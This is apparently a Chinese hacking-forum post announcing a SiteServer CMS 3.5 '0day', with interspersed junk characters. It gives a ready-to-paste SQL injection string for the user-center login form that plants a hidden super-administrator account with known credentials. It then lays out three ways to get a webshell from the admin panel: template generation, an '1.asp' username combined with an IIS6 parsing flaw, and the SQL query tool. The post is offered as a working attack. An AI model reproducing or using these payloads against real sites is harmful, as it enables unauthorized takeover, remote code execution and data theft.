SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

9 D7 e% D  U1 w. qstieserver官网:www.siteserver.cn



EXP:

) }& b- |. G* w  v! Z& @0 T直接访问UserCenter/login.aspx
- N! S0 A( |3 ?" Q3 O! E8 I+ y! Z
5 c. h4 ^9 C& X" p1 R# ?5 U! X

用户名处输入：
* z3 v1 {& `4 R
: `5 b: ]7 m& y- Q" {8 i6 Y5 N5 w. J' c123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
7 h- E& B" w/ p( M0 h
# @9 f: C+ g, ?  F- s

) E5 Q2 X% i4 }( b+ u: X密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。

$ Q) l8 O9 h/ K
% ?/ k, w1 U4 Y; X
. [. x! d/ t7 _之后再访问后台SiteServer/login.aspx用插入的用户登陆
% F% J; t' [- g, y
4 l8 I) ]7 F' c; I4 _4 L3 T# U( K- a

  K/ L% Z1 F/ E! S& W$ p( S后台拿webshell的三种方法：
. b6 P  W. O5 M8 X( p6 D# f: G, {
一、
7 x, l2 r" e. l2 W* c
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
& K! d  s/ k9 {& d
二、

$ _) @( c9 I! J; j  w成员权限-》添加用户-》用户名为：1.asp

http://127.0.0.1/usercenter/
9 ~; s+ u0 {  R2 k# O8 W
3 L. q6 v0 `4 e用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
- ]7 `* K2 L4 L
（ps：后台添加用户时不会验证是否含有非法字符）

三、
4 X9 ?2 A* u6 S; g) z& I
系统工具-》实用工具-》机器参数查看
. f! B8 L2 V5 t* W7 o5 Y可以看到数据库类型、名称，WEB路径
+ e: T' f" M* R) {' s
2 Y) i2 M: o1 s  |% K' G系统工具-》数据库工具-》SQL语句查询
这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。
* |( y0 g3 W& h( @4 h
9 y3 r8 m2 Z4 ?( F) ~+ ~